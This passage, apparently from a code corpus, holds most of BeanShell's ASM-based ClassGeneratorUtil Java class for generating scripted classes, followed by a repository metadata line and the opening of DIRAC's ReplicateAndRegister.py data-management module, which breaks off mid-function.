* <p/>
* <p/>
* Specially named superclass delegator methods are also generated in order to
* allow BeanShell to access overridden methods of the superclass (which
* reflection does not normally allow).
* <p/>
*
* @author Pat Niemeyer
*/
/*
Notes:
It would not be hard to eliminate the use of org.objectweb.asm.Type from
this class, making the distribution a tiny bit smaller.
*/
public class ClassGeneratorUtil implements Opcodes {
/**
* The name of the static field holding the reference to the bsh
* static This (the callback namespace for static methods)
*/
static final String BSHSTATIC = "_bshStatic";
/**
* The name of the instance field holding the reference to the bsh
* instance This (the callback namespace for instance methods)
*/
private static final String BSHTHIS = "_bshThis";
/**
* The prefix for the name of the super delegate methods. e.g.
* _bshSuperfoo() is equivalent to super.foo()
*/
static final String BSHSUPER = "_bshSuper";
/**
* The bsh static namespace variable name of the instance initializer
*/
static final String BSHINIT = "_bshInstanceInitializer";
/**
* The bsh static namespace variable that holds the constructor methods
*/
private static final String BSHCONSTRUCTORS = "_bshConstructors";
/**
* The switch branch number for the default constructor.
* The value -1 will cause the default branch to be taken.
*/
private static final int DEFAULTCONSTRUCTOR = -1;
private static final String OBJECT = "Ljava/lang/Object;";
private final String className;
/**
* fully qualified class name (with package) e.g. foo/bar/Blah
*/
private final String fqClassName;
private final Class superClass;
private final String superClassName;
private final Class[] interfaces;
private final Variable[] vars;
private final Constructor[] superConstructors;
private final DelayedEvalBshMethod[] constructors;
private final DelayedEvalBshMethod[] methods;
private final NameSpace classStaticNameSpace;
private final Modifiers classModifiers;
private boolean isInterface;
/**
* @param packageName e.g. "com.foo.bar"
*/
public ClassGeneratorUtil(Modifiers classModifiers, String className, String packageName, Class superClass, Class[] interfaces, Variable[] vars, DelayedEvalBshMethod[] bshmethods, NameSpace classStaticNameSpace, boolean isInterface) {
this.classModifiers = classModifiers;
this.className = className;
if (packageName != null) {
this.fqClassName = packageName.replace('.', '/') + "/" + className;
} else {
this.fqClassName = className;
}
if (superClass == null) {
superClass = Object.class;
}
this.superClass = superClass;
this.superClassName = Type.getInternalName(superClass);
if (interfaces == null) {
interfaces = new Class[0];
}
this.interfaces = interfaces;
this.vars = vars;
this.classStaticNameSpace = classStaticNameSpace;
this.superConstructors = superClass.getDeclaredConstructors();
// Split the methods into constructors and regular method lists
List consl = new ArrayList();
List methodsl = new ArrayList();
String classBaseName = getBaseName(className); // for inner classes
for (DelayedEvalBshMethod bshmethod : bshmethods) {
if (bshmethod.getName().equals(classBaseName)) {
consl.add(bshmethod);
} else {
methodsl.add(bshmethod);
}
}
this.constructors = (DelayedEvalBshMethod[]) consl.toArray(new DelayedEvalBshMethod[consl.size()]);
this.methods = (DelayedEvalBshMethod[]) methodsl.toArray(new DelayedEvalBshMethod[methodsl.size()]);
try {
classStaticNameSpace.setLocalVariable(BSHCONSTRUCTORS, constructors, false/*strict*/);
} catch (UtilEvalError e) {
throw new InterpreterError("can't set cons var");
}
this.isInterface = isInterface;
}
/**
* Generate the class bytecode for this class.
*/
public byte[] generateClass() {
// Force the class public for now...
int classMods = getASMModifiers(classModifiers) | ACC_PUBLIC;
if (isInterface) {
classMods |= ACC_INTERFACE;
}
String[] interfaceNames = new String[interfaces.length + (isInterface ? 0 : 1)]; // one more interface for instance init callback
for (int i = 0; i < interfaces.length; i++) {
interfaceNames[i] = Type.getInternalName(interfaces[i]);
}
if ( ! isInterface) {
interfaceNames[interfaces.length] = Type.getInternalName(GeneratedClassSource.class);
}
String sourceFile = "BeanShell Generated via ASM (www.objectweb.org)";
ClassWriter cw = new ClassWriter(0);
cw.visit(V1_5, classMods, fqClassName, null, superClassName, interfaceNames);
if ( ! isInterface) {
// Generate the bsh instance 'This' reference holder field
generateField(BSHTHIS + className, "Lbsh/This;", ACC_PUBLIC, cw);
// Generate the static bsh static reference holder field
generateField(BSHSTATIC + className, "Lbsh/This;", ACC_PUBLIC + ACC_STATIC, cw);
}
// Generate the fields
for (Variable var : vars) {
String type = var.getTypeDescriptor();
// Don't generate private or loosely typed fields
// Note: loose types aren't currently parsed anyway...
if (var.hasModifier("private") || type == null) {
continue;
}
int modifiers;
if (isInterface) {
modifiers = ACC_PUBLIC | ACC_STATIC | ACC_FINAL;
} else {
modifiers = getASMModifiers(var.getModifiers());
}
generateField(var.getName(), type, modifiers, cw);
}
// Generate the constructors
boolean hasConstructor = false;
for (int i = 0; i < constructors.length; i++) {
// Don't generate private constructors
if (constructors[i].hasModifier("private")) {
continue;
}
int modifiers = getASMModifiers(constructors[i].getModifiers());
generateConstructor(i, constructors[i].getParamTypeDescriptors(), modifiers, cw);
hasConstructor = true;
}
// If no other constructors, generate a default constructor
if ( ! isInterface && ! hasConstructor) {
generateConstructor(DEFAULTCONSTRUCTOR/*index*/, new String[0], ACC_PUBLIC, cw);
}
// Generate the delegate methods
for (DelayedEvalBshMethod method : methods) {
String returnType = method.getReturnTypeDescriptor();
// Don't generate private /*or loosely return typed */ methods
if (method.hasModifier("private") /*|| returnType == null*/) {
continue;
}
int modifiers = getASMModifiers(method.getModifiers());
if (isInterface) {
modifiers |= (ACC_PUBLIC | ACC_ABSTRACT);
}
generateMethod(className, fqClassName, method.getName(), returnType, method.getParamTypeDescriptors(), modifiers, cw);
boolean isStatic = (modifiers & ACC_STATIC) > 0;
boolean overridden = classContainsMethod(superClass, method.getName(), method.getParamTypeDescriptors());
if (!isStatic && overridden) {
generateSuperDelegateMethod(superClassName, method.getName(), returnType, method.getParamTypeDescriptors(), modifiers, cw);
}
}
return cw.toByteArray();
}
/**
* Translate bsh.Modifiers into ASM modifier bitflags.
*/
private static int getASMModifiers(Modifiers modifiers) {
int mods = 0;
if (modifiers == null) {
return mods;
}
if (modifiers.hasModifier("public")) {
mods += ACC_PUBLIC;
}
if (modifiers.hasModifier("protected")) {
mods += ACC_PROTECTED;
}
if (modifiers.hasModifier("static")) {
mods += ACC_STATIC;
}
if (modifiers.hasModifier("synchronized")) {
mods += ACC_SYNCHRONIZED;
}
if (modifiers.hasModifier("abstract")) {
mods += ACC_ABSTRACT;
}
return mods;
}
/**
* Generate a field - static or instance.
*/
private static void generateField(String fieldName, String type, int modifiers, ClassWriter cw) {
cw.visitField(modifiers, fieldName, type, null/*value*/, null);
}
/**
* Generate a delegate method - static or instance.
* The generated code packs the method arguments into an object array
* (wrapping primitive types in bsh.Primitive), invokes the static or
* instance namespace invokeMethod() method, and then unwraps / returns
* the result.
*/
private static void generateMethod(String className, String fqClassName, String methodName, String returnType, String[] paramTypes, int modifiers, ClassWriter cw) {
String[] exceptions = null;
boolean isStatic = (modifiers & ACC_STATIC) != 0;
if (returnType == null) // map loose return type to Object
{
returnType = OBJECT;
}
String methodDescriptor = getMethodDescriptor(returnType, paramTypes);
// Generate method body
MethodVisitor cv = cw.visitMethod(modifiers, methodName, methodDescriptor, null, exceptions);
if ((modifiers & ACC_ABSTRACT) != 0) {
return;
}
// Generate code to push the BSHTHIS or BSHSTATIC field
if (isStatic) {
cv.visitFieldInsn(GETSTATIC, fqClassName, BSHSTATIC + className, "Lbsh/This;");
} else {
// Push 'this'
cv.visitVarInsn(ALOAD, 0);
// Get the instance field
cv.visitFieldInsn(GETFIELD, fqClassName, BSHTHIS + className, "Lbsh/This;");
}
// Push the name of the method as a constant
cv.visitLdcInsn(methodName);
// Generate code to push arguments as an object array
generateParameterReifierCode(paramTypes, isStatic, cv);
// Push nulls for various args of invokeMethod
cv.visitInsn(ACONST_NULL); // interpreter
cv.visitInsn(ACONST_NULL); // callstack
cv.visitInsn(ACONST_NULL); // callerinfo
// Push the boolean constant 'true' (for declaredOnly)
cv.visitInsn(ICONST_1);
// Invoke the method This.invokeMethod( name, Class [] sig, boolean )
cv.visitMethodInsn(INVOKEVIRTUAL, "bsh/This", "invokeMethod", Type.getMethodDescriptor(Type.getType(Object.class), new Type[]{Type.getType(String.class), Type.getType(Object[].class), Type.getType(Interpreter.class), Type.getType(CallStack.class), Type.getType(SimpleNode.class), Type.getType(Boolean.TYPE)}));
// Generate code to unwrap bsh Primitive types
cv.visitMethodInsn(INVOKESTATIC, "bsh/Primitive", "unwrap", "(Ljava/lang/Object;)Ljava/lang/Object;");
// Generate code to return the value
generateReturnCode(returnType, cv);
// Need to calculate this... just fudging here for now.
cv.visitMaxs(20, 20);
}
/**
* Generate a constructor.
*/
void generateConstructor(int index, String[] paramTypes, int modifiers, ClassWriter cw) {
/** offset after params of the args object [] var */
final int argsVar = paramTypes.length + 1;
/** offset after params of the ConstructorArgs var */
final int consArgsVar = paramTypes.length + 2;
String[] exceptions = null;
String methodDescriptor = getMethodDescriptor("V", paramTypes);
// Create this constructor method
MethodVisitor cv = cw.visitMethod(modifiers, "<init>", methodDescriptor, null, exceptions);
// Generate code to push arguments as an object array
generateParameterReifierCode(paramTypes, false/*isStatic*/, cv);
cv.visitVarInsn(ASTORE, argsVar);
// Generate the code implementing the alternate constructor switch
generateConstructorSwitch(index, argsVar, consArgsVar, cv);
// Generate code to invoke the ClassGeneratorUtil initInstance() method
// push 'this'
cv.visitVarInsn(ALOAD, 0);
// Push the class/constructor name as a constant
cv.visitLdcInsn(className);
// Push arguments as an object array
cv.visitVarInsn(ALOAD, argsVar);
// invoke the initInstance() method
cv.visitMethodInsn(INVOKESTATIC, "bsh/ClassGeneratorUtil", "initInstance", "(L" + GeneratedClassSource.class.getName().replace('.', '/') + ";Ljava/lang/String;[Ljava/lang/Object;)V");
cv.visitInsn(RETURN);
// Need to calculate this... just fudging here for now.
cv.visitMaxs(20, 20);
}
/**
* Generate a switch with a branch for each possible alternate
* constructor. This includes all superclass constructors and all
* constructors of this class. The default branch of this switch is the
* default superclass constructor.
* <p/>
* This method also generates the code to call the static
* ClassGeneratorUtil
* getConstructorArgs() method which inspects the scripted constructor to
* find the alternate constructor signature (if any) and evalute the
* arguments at runtime. The getConstructorArgs() method returns the
* actual arguments as well as the index of the constructor to call.
*/
void generateConstructorSwitch(int consIndex, int argsVar, int consArgsVar, MethodVisitor cv) {
Label defaultLabel = new Label();
Label endLabel = new Label();
int cases = superConstructors.length + constructors.length;
Label[] labels = new Label[cases];
for (int i = 0; i < cases; i++) {
labels[i] = new Label();
}
// Generate code to call ClassGeneratorUtil to get our switch index
// and give us args...
// push super class name
cv.visitLdcInsn(superClass.getName()); // use superClassName var?
// push class static This object
cv.visitFieldInsn(GETSTATIC, fqClassName, BSHSTATIC + className, "Lbsh/This;");
// push args
cv.visitVarInsn(ALOAD, argsVar);
// push this constructor index number onto stack
cv.visitIntInsn(BIPUSH, consIndex);
// invoke the ClassGeneratorUtil getConstructorsArgs() method
cv.visitMethodInsn(INVOKESTATIC, "bsh/ClassGeneratorUtil", "getConstructorArgs", "(Ljava/lang/String;Lbsh/This;[Ljava/lang/Object;I)" + "Lbsh/ClassGeneratorUtil$ConstructorArgs;");
// store ConstructorArgs in consArgsVar
cv.visitVarInsn(ASTORE, consArgsVar);
// Get the ConstructorArgs selector field from ConstructorArgs
// push ConstructorArgs
cv.visitVarInsn(ALOAD, consArgsVar);
cv.visitFieldInsn(GETFIELD, "bsh/ClassGeneratorUtil$ConstructorArgs", "selector", "I");
// start switch
cv.visitTableSwitchInsn(0/*min*/, cases - 1/*max*/, defaultLabel, labels);
// generate switch body
int index = 0;
for (int i = 0; i < superConstructors.length; i++, index++) {
doSwitchBranch(index, superClassName, getTypeDescriptors(superConstructors[i].getParameterTypes()), endLabel, labels, consArgsVar, cv);
}
for (int i = 0; i < constructors.length; i++, index++) {
doSwitchBranch(index, fqClassName, constructors[i].getParamTypeDescriptors(), endLabel, labels, consArgsVar, cv);
}
// generate the default branch of switch
cv.visitLabel(defaultLabel);
// default branch always invokes no args super
cv.visitVarInsn(ALOAD, 0); // push 'this'
cv.visitMethodInsn(INVOKESPECIAL, superClassName, "<init>", "()V");
// done with switch
cv.visitLabel(endLabel);
}
/*
Generate a branch of the constructor switch. This method is called by
generateConstructorSwitch.
The code generated by this method assumes that the argument array is
on the stack.
*/
private static void doSwitchBranch(int index, String targetClassName, String[] paramTypes, Label endLabel, Label[] labels, int consArgsVar, MethodVisitor cv) {
cv.visitLabel(labels[index]);
//cv.visitLineNumber( index, labels[index] );
cv.visitVarInsn(ALOAD, 0); // push this before args
// Unload the arguments from the ConstructorArgs object
for (String type : paramTypes) {
final String method;
if (type.equals("Z")) {
method = "getBoolean";
} else if (type.equals("B")) {
method = "getByte";
} else if (type.equals("C")) {
method = "getChar";
} else if (type.equals("S")) {
method = "getShort";
} else if (type.equals("I")) {
method = "getInt";
} else if (type.equals("J")) {
method = "getLong";
} else if (type.equals("D")) {
method = "getDouble";
} else if (type.equals("F")) {
method = "getFloat";
} else {
method = "getObject";
}
// invoke the iterator method on the ConstructorArgs
cv.visitVarInsn(ALOAD, consArgsVar); // push the ConstructorArgs
String className = "bsh/ClassGeneratorUtil$ConstructorArgs";
String retType;
if (method.equals("getObject")) {
retType = OBJECT;
} else {
retType = type;
}
cv.visitMethodInsn(INVOKEVIRTUAL, className, method, "()" + retType);
// if it's an object type we must do a check cast
if (method.equals("getObject")) {
cv.visitTypeInsn(CHECKCAST, descriptorToClassName(type));
}
}
// invoke the constructor for this branch
String descriptor = getMethodDescriptor("V", paramTypes);
cv.visitMethodInsn(INVOKESPECIAL, targetClassName, "<init>", descriptor);
cv.visitJumpInsn(GOTO, endLabel);
}
private static String getMethodDescriptor(String returnType, String[] paramTypes) {
StringBuilder sb = new StringBuilder("(");
for (String paramType : paramTypes) {
sb.append(paramType);
}
sb.append(')').append(returnType);
return sb.toString();
}
/**
* Generate a superclass method delegate accessor method.
* These methods are specially named methods which allow access to
* overridden methods of the superclass (which the Java reflection API
* normally does not allow).
*/
// Maybe combine this with generateMethod()
private static void generateSuperDelegateMethod(String superClassName, String methodName, String returnType, String[] paramTypes, int modifiers, ClassWriter cw) {
String[] exceptions = null;
if (returnType == null) // map loose return to Object
{
returnType = OBJECT;
}
String methodDescriptor = getMethodDescriptor(returnType, paramTypes);
// Add method body
MethodVisitor cv = cw.visitMethod(modifiers, "_bshSuper" + methodName, methodDescriptor, null, exceptions);
cv.visitVarInsn(ALOAD, 0);
// Push vars
int localVarIndex = 1;
for (String paramType : paramTypes) {
if (isPrimitive(paramType)) {
cv.visitVarInsn(ILOAD, localVarIndex);
} else {
cv.visitVarInsn(ALOAD, localVarIndex);
}
localVarIndex += ((paramType.equals("D") || paramType.equals("J")) ? 2 : 1);
}
cv.visitMethodInsn(INVOKESPECIAL, superClassName, methodName, methodDescriptor);
generatePlainReturnCode(returnType, cv);
// Need to calculate this... just fudging here for now.
cv.visitMaxs(20, 20);
}
boolean classContainsMethod(Class clas, String methodName, String[] paramTypes) {
while (clas != null) {
Method[] methods = clas.getDeclaredMethods();
for (Method method : methods) {
if (method.getName().equals(methodName)) {
String[] methodParamTypes = getTypeDescriptors(method.getParameterTypes());
boolean found = true;
for (int j = 0; j < methodParamTypes.length; j++) {
if (!paramTypes[j].equals(methodParamTypes[j])) {
found = false;
break;
}
}
if (found) {
return true;
}
}
}
clas = clas.getSuperclass();
}
return false;
}
/**
* Generate return code for a normal bytecode
*/
private static void generatePlainReturnCode(String returnType, MethodVisitor cv) {
if (returnType.equals("V")) {
cv.visitInsn(RETURN);
} else if (isPrimitive(returnType)) {
int opcode = IRETURN;
if (returnType.equals("D")) {
opcode = DRETURN;
} else if (returnType.equals("F")) {
opcode = FRETURN;
} else if (returnType.equals("J")) //long
{
opcode = LRETURN;
}
cv.visitInsn(opcode);
} else {
cv.visitTypeInsn(CHECKCAST, descriptorToClassName(returnType));
cv.visitInsn(ARETURN);
}
}
/**
* Generates the code to reify the arguments of the given method.
* For a method "int m (int i, String s)", this code is the bytecode
* corresponding to the "new Object[] { new bsh.Primitive(i), s }"
* expression.
*
* @param cv the code visitor to be used to generate the bytecode.
* @param isStatic the enclosing methods is static
* @author Eric Bruneton
* @author Pat Niemeyer
*/
private static void generateParameterReifierCode(String[] paramTypes, boolean isStatic, final MethodVisitor cv) {
cv.visitIntInsn(SIPUSH, paramTypes.length);
cv.visitTypeInsn(ANEWARRAY, "java/lang/Object");
int localVarIndex = isStatic ? 0 : 1;
for (int i = 0; i < paramTypes.length; ++i) {
String param = paramTypes[i];
cv.visitInsn(DUP);
cv.visitIntInsn(SIPUSH, i);
if (isPrimitive(param)) {
int opcode;
if (param.equals("F")) {
opcode = FLOAD;
} else if (param.equals("D")) {
opcode = DLOAD;
} else if (param.equals("J")) {
opcode = LLOAD;
} else {
opcode = ILOAD;
}
String type = "bsh/Primitive";
cv.visitTypeInsn(NEW, type);
cv.visitInsn(DUP);
cv.visitVarInsn(opcode, localVarIndex);
String desc = param; // ok?
cv.visitMethodInsn(INVOKESPECIAL, type, "<init>", "(" + desc + ")V");
} else {
// Technically incorrect here - we need to wrap null values
// as bsh.Primitive.NULL. However the This.invokeMethod()
// will do that much for us.
// We need to generate a conditional here to test for null
// and return Primitive.NULL
cv.visitVarInsn(ALOAD, localVarIndex);
}
cv.visitInsn(AASTORE);
localVarIndex += ((param.equals("D") || param.equals("J")) ? 2 : 1);
}
}
/**
* Generates the code to unreify the result of the given method. For a
* method "int m (int i, String s)", this code is the bytecode
* corresponding to the "((Integer)...).intValue()" expression.
*
* @param cv the code visitor to be used to generate the bytecode.
* @author Eric Bruneton
* @author Pat Niemeyer
*/
private static void generateReturnCode(String returnType, MethodVisitor cv) {
if (returnType.equals("V")) {
cv.visitInsn(POP);
cv.visitInsn(RETURN);
} else if (isPrimitive(returnType)) {
int opcode = IRETURN;
String type;
String meth;
if (returnType.equals("B")) {
type = "java/lang/Byte";
meth = "byteValue";
} else if (returnType.equals("I")) {
type = "java/lang/Integer";
meth = "intValue";
} else if (returnType.equals("Z")) {
type = "java/lang/Boolean";
meth = "booleanValue";
} else if (returnType.equals("D")) {
opcode = DRETURN;
type = "java/lang/Double";
meth = "doubleValue";
} else if (returnType.equals("F")) {
opcode = FRETURN;
type = "java/lang/Float";
meth = "floatValue";
} else if (returnType.equals("J")) {
opcode = LRETURN;
type = "java/lang/Long";
meth = "longValue";
} else if (returnType.equals("C")) {
type = "java/lang/Character";
meth = "charValue";
} else /*if (returnType.equals("S") )*/ {
type = "java/lang/Short";
meth = "shortValue";
}
String desc = returnType;
cv.visitTypeInsn(CHECKCAST, type); // type is correct here
cv.visitMethodInsn(INVOKEVIRTUAL, type, meth, "()" + desc);
cv.visitInsn(opcode);
} else {
cv.visitTypeInsn(CHECKCAST, descriptorToClassName(returnType));
cv.visitInsn(ARETURN);
}
}
/**
* Evaluate the arguments (if any) for the constructor specified by
* the constructor index. Return the ConstructorArgs object which
* contains the actual arguments to the alternate constructor and also the
* index of that constructor for the constructor switch.
*
* @param consArgs the arguments to the constructor. These are necessary in
* the evaluation of the alt constructor args. e.g. Foo(a) { super(a); }
* @return the ConstructorArgs object containing a constructor selector
* and evaluated arguments for the alternate constructor
*/
public static ConstructorArgs getConstructorArgs(String superClassName, This classStaticThis, Object[] consArgs, int index) {
DelayedEvalBshMethod[] constructors;
try {
constructors = (DelayedEvalBshMethod[]) classStaticThis.getNameSpace().getVariable(BSHCONSTRUCTORS);
} catch (Exception e) {
throw new InterpreterError("unable to get instance initializer: " + e);
}
if (index == DEFAULTCONSTRUCTOR) // auto-gen default constructor
{
return ConstructorArgs.DEFAULT;
} // use default super constructor
DelayedEvalBshMethod constructor = constructors[index];
if (constructor.methodBody.jjtGetNumChildren() == 0) {
return ConstructorArgs.DEFAULT;
} // use default super constructor
// Determine if the constructor calls this() or super()
String altConstructor = null;
BSHArguments argsNode = null;
SimpleNode firstStatement = (SimpleNode) constructor.methodBody.jjtGetChild(0);
if (firstStatement instanceof BSHPrimaryExpression) {
firstStatement = (SimpleNode) firstStatement.jjtGetChild(0);
}
if (firstStatement instanceof BSHMethodInvocation) {
BSHMethodInvocation methodNode = (BSHMethodInvocation) firstStatement;
BSHAmbiguousName methodName = methodNode.getNameNode();
if (methodName.text.equals("super") || methodName.text.equals("this")) {
altConstructor = methodName.text;
argsNode = methodNode.getArgsNode();
}
}
if (altConstructor == null) {
return ConstructorArgs.DEFAULT;
} // use default super constructor
// Make a tmp namespace to hold the original constructor args for
// use in eval of the parameters node
NameSpace consArgsNameSpace = new NameSpace(classStaticThis.getNameSpace(), "consArgs");
String[] consArgNames = constructor.getParameterNames();
Class[] consArgTypes = constructor.getParameterTypes();
for (int i = 0; i < consArgs.length; i++) {
try {
consArgsNameSpace.setTypedVariable(consArgNames[i], consArgTypes[i], consArgs[i], null/*modifiers*/);
} catch (UtilEvalError e) {
throw new InterpreterError("err setting local cons arg:" + e);
}
}
// evaluate the args
CallStack callstack = new CallStack();
callstack.push(consArgsNameSpace);
Object[] args;
Interpreter interpreter = classStaticThis.declaringInterpreter;
try {
args = argsNode.getArguments(callstack, interpreter);
} catch (EvalError e) {
throw new InterpreterError("Error evaluating constructor args: " + e);
}
Class[] argTypes = Types.getTypes(args);
args = Primitive.unwrap(args);
Class superClass = interpreter.getClassManager().classForName(superClassName);
if (superClass == null) {
throw new InterpreterError("can't find superclass: " + superClassName);
}
Constructor[] superCons = superClass.getDeclaredConstructors();
// find the matching super() constructor for the args
if (altConstructor.equals("super")) {
int i = Reflect.findMostSpecificConstructorIndex(argTypes, superCons);
if (i == -1) {
throw new InterpreterError("can't find constructor for args!");
}
return new ConstructorArgs(i, args);
}
// find the matching this() constructor for the args
Class[][] candidates = new Class[constructors.length][];
for (int i = 0; i < candidates.length; i++) {
candidates[i] = constructors[i].getParameterTypes();
}
int i = Reflect.findMostSpecificSignature(argTypes, candidates);
if (i == -1) {
throw new InterpreterError("can't find constructor for args 2!");
}
// this() constructors come after super constructors in the table
int selector = i + superCons.length;
int ourSelector = index + superCons.length;
// Are we choosing ourselves recursively through a this() reference?
if (selector == ourSelector) {
throw new InterpreterError("Recusive constructor call.");
}
return new ConstructorArgs(selector, args);
}
private static final ThreadLocal<NameSpace> CONTEXT_NAMESPACE = new ThreadLocal<NameSpace>();
private static final ThreadLocal<Interpreter> CONTEXT_INTERPRETER = new ThreadLocal<Interpreter>();
/**
* Register actual context, used by generated class constructor, which calls
* {@link #initInstance(GeneratedClass, String, Object[])}.
*/
static void registerConstructorContext(CallStack callstack, Interpreter interpreter) {
if (callstack != null) {
CONTEXT_NAMESPACE.set(callstack.top());
} else {
CONTEXT_NAMESPACE.remove();
}
if (interpreter != null) {
CONTEXT_INTERPRETER.set(interpreter);
} else {
CONTEXT_INTERPRETER.remove();
}
}
/**
* Initialize an instance of the class.
* This method is called from the generated class constructor to evaluate
* the instance initializer and scripted constructor in the instance
* namespace.
*/
public static void initInstance(GeneratedClassSource instance, String className, Object[] args) {
Class[] sig = Types.getTypes(args);
CallStack callstack = new CallStack();
Interpreter interpreter;
NameSpace instanceNameSpace;
// check to see if the instance has already been initialized
// (the case if using a this() alternate constuctor)
// todo PeJoBo70 write test for this
This instanceThis = getClassInstanceThis(instance, className);
// XXX clean up this conditional
if (instanceThis == null) {
// Create the instance 'This' namespace, set it on the object
// instance and invoke the instance initializer
// Get the static This reference from the proto-instance
This classStaticThis = getClassStaticThis(instance.getClass(), className);
interpreter = CONTEXT_INTERPRETER.get();
if (interpreter == null) {
interpreter = classStaticThis.declaringInterpreter;
}
// Get the instance initializer block from the static This
BSHBlock instanceInitBlock;
try {
instanceInitBlock = (BSHBlock) classStaticThis.getNameSpace().getVariable(BSHINIT);
} catch (Exception e) {
throw new InterpreterError("unable to get instance initializer: " + e);
}
// Create the instance namespace
if (CONTEXT_NAMESPACE.get() != null) {
instanceNameSpace = classStaticThis.getNameSpace();
instanceNameSpace.setParent(CONTEXT_NAMESPACE.get());
} else {
instanceNameSpace = new NameSpace(classStaticThis.getNameSpace(), className); // todo: old code
}
instanceNameSpace.isClass = true;
// Set the instance This reference on the instance
instanceThis = instanceNameSpace.getThis(interpreter);
try {
LHS lhs = Reflect.getLHSObjectField(instance, BSHTHIS + className);
lhs.assign(instanceThis, false/*strict*/);
} catch (Exception e) {
throw new InterpreterError("Error in class gen setup: " + e);
}
// Give the instance space its object import
instanceNameSpace.setClassInstance(instance);
// should use try/finally here to pop ns
callstack.push(instanceNameSpace);
// evaluate the instance portion of the block in it
try { // Evaluate the initializer block
instanceInitBlock.evalBlock(callstack, interpreter, true/*override*/, ClassGeneratorImpl.ClassNodeFilter.CLASSINSTANCE);
} catch (Exception e) {
throw new InterpreterError("Error in class initialization: " + e);
}
callstack.pop();
} else {
// The object instance has already been initialzed by another
// constructor. Fall through to invoke the constructor body below.
interpreter = instanceThis.declaringInterpreter;
instanceNameSpace = instanceThis.getNameSpace();
}
// invoke the constructor method from the instanceThis
String constructorName = getBaseName(className);
try {
// Find the constructor (now in the instance namespace)
BshMethod constructor = instanceNameSpace.getMethod(constructorName, sig, true/*declaredOnly*/);
// if args, we must have constructor
if (args.length > 0 && constructor == null) {
throw new InterpreterError("Can't find constructor: " + className);
}
// Evaluate the constructor
if (constructor != null) {
constructor.invoke(args, interpreter, callstack, null/*callerInfo*/, false/*overrideNameSpace*/);
}
} catch (Exception e) {
if (e instanceof TargetError) {
e = (Exception) ((TargetError) e).getTarget();
}
if (e instanceof InvocationTargetException) {
e = (Exception) ((InvocationTargetException) e).getTargetException();
}
throw new InterpreterError("Error in class initialization." + e);
}
}
/**
* Get the static bsh namespace field from the class.
*
* @param className may be the name of clas itself or a superclass of clas.
*/
private static This getClassStaticThis(Class clas, String className) {
try {
return (This) Reflect.getStaticFieldValue(clas, BSHSTATIC + className);
} catch (Exception e) {
throw new InterpreterError("Unable to get class static space: " + e);
}
}
/**
* Get the instance bsh namespace field from the object instance.
*
* @return the class instance This object or null if the object has not
* been initialized.
*/
static This getClassInstanceThis(Object instance, String className) {
try {
Object o = Reflect.getObjectFieldValue(instance, BSHTHIS + className);
return (This) Primitive.unwrap(o); // unwrap Primitive.Null to null
} catch (Exception e) {
throw new InterpreterError("Generated class: Error getting This" + e);
}
}
/**
* Does the type descriptor string describe a primitive type?
*/
private static boolean isPrimitive(String typeDescriptor) {
return typeDescriptor.length() == 1; // right?
}
private static String[] getTypeDescriptors(Class[] cparams) {
String[] sa = new String[cparams.length];
for (int i = 0; i < sa.length; i++) {
sa[i] = BSHType.getTypeDescriptor(cparams[i]);
}
return sa;
}
/**
* If a non-array object type, remove the prefix "L" and suffix ";".
*/
// Can this be factored out...?
// Should be be adding the L...; here instead?
private static String descriptorToClassName(String s) {
if (s.startsWith("[") || !s.startsWith("L")) {
return s;
}
return s.substring(1, s.length() - 1);
}
private static String getBaseName(String className) {
int i = className.indexOf("$");
if (i == -1) {
return className;
}
return className.substring(i + 1);
}
/**
* A ConstructorArgs object holds evaluated arguments for a constructor
* call as well as the index of a possible alternate selector to invoke.
* This object is used by the constructor switch.
*
* @see bsh.ClassGeneratorUtil#generateConstructor(int, String[], int, bsh.org.objectweb.asm.ClassWriter)
*/
public static class ConstructorArgs {
/**
* A ConstructorArgs which calls the default constructor
*/
public static final ConstructorArgs DEFAULT = new ConstructorArgs();
public int selector = DEFAULTCONSTRUCTOR;
Object[] args;
int arg;
/**
* The index of the constructor to call.
*/
ConstructorArgs() {
}
ConstructorArgs(int selector, Object[] args) {
this.selector = selector;
this.args = args;
}
Object next() {
return args[arg++];
}
public boolean getBoolean() {
return (Boolean) next();
}
public byte getByte() {
return (Byte) next();
}
public char getChar() {
return (Character) next();
}
public short getShort() {
return (Short) next();
}
public int getInt() {
return (Integer) next();
}
public long getLong() {
return (Long) next();
}
public double getDouble() {
return (Double) next();
}
public float getFloat() {
return (Float) next();
}
public Object getObject() {
return next();
}
}
} | gpl-3.0 |
hgiemza/DIRAC | DataManagementSystem/Agent/RequestOperations/ReplicateAndRegister.py | 24660 | ########################################################################
# File: ReplicateAndRegister.py
# Author: Krzysztof.Ciba@NOSPAMgmail.com
# Date: 2013/03/13 18:49:12
########################################################################
""" :mod: ReplicateAndRegister
==========================
.. module: ReplicateAndRegister
:synopsis: ReplicateAndRegister operation handler
.. moduleauthor:: Krzysztof.Ciba@NOSPAMgmail.com
ReplicateAndRegister operation handler
"""
__RCSID__ = "$Id $"
# #
# @file ReplicateAndRegister.py
# @author Krzysztof.Ciba@NOSPAMgmail.com
# @date 2013/03/13 18:49:28
# @brief Definition of ReplicateAndRegister class.
# # imports
import re
# # from DIRAC
from DIRAC import S_OK, S_ERROR, gLogger
from DIRAC.Core.Utilities.Adler import compareAdler, hexAdlerToInt, intAdlerToHex
from DIRAC.FrameworkSystem.Client.MonitoringClient import gMonitor
from DIRAC.DataManagementSystem.Client.DataManager import DataManager
from DIRAC.DataManagementSystem.Agent.RequestOperations.DMSRequestOperationsBase import DMSRequestOperationsBase
from DIRAC.Resources.Storage.StorageElement import StorageElement
from DIRAC.Resources.Catalog.FileCatalog import FileCatalog
from DIRAC.DataManagementSystem.Client.FTS3Operation import FTS3TransferOperation
from DIRAC.DataManagementSystem.Client.FTS3File import FTS3File
from DIRAC.DataManagementSystem.Client.FTS3Client import FTS3Client
from DIRAC.ConfigurationSystem.Client.Helpers import Registry
from DIRAC.DataManagementSystem.Client.FTSClient import FTSClient
def filterReplicas( opFile, logger = None, dataManager = None ):
""" filter out banned/invalid source SEs """
if logger is None:
logger = gLogger
if dataManager is None:
dataManager = DataManager()
log = logger.getSubLogger( "filterReplicas" )
ret = { "Valid" : [], "NoMetadata" : [], "Bad" : [], 'NoReplicas':[], 'NoPFN':[] }
replicas = dataManager.getActiveReplicas( opFile.LFN )
if not replicas["OK"]:
log.error( 'Failed to get active replicas', replicas["Message"] )
return replicas
reNotExists = re.compile( r".*such file.*" )
replicas = replicas["Value"]
failed = replicas["Failed"].get( opFile.LFN , "" )
if reNotExists.match( failed.lower() ):
opFile.Status = "Failed"
opFile.Error = failed
return S_ERROR( failed )
replicas = replicas["Successful"].get( opFile.LFN, {} )
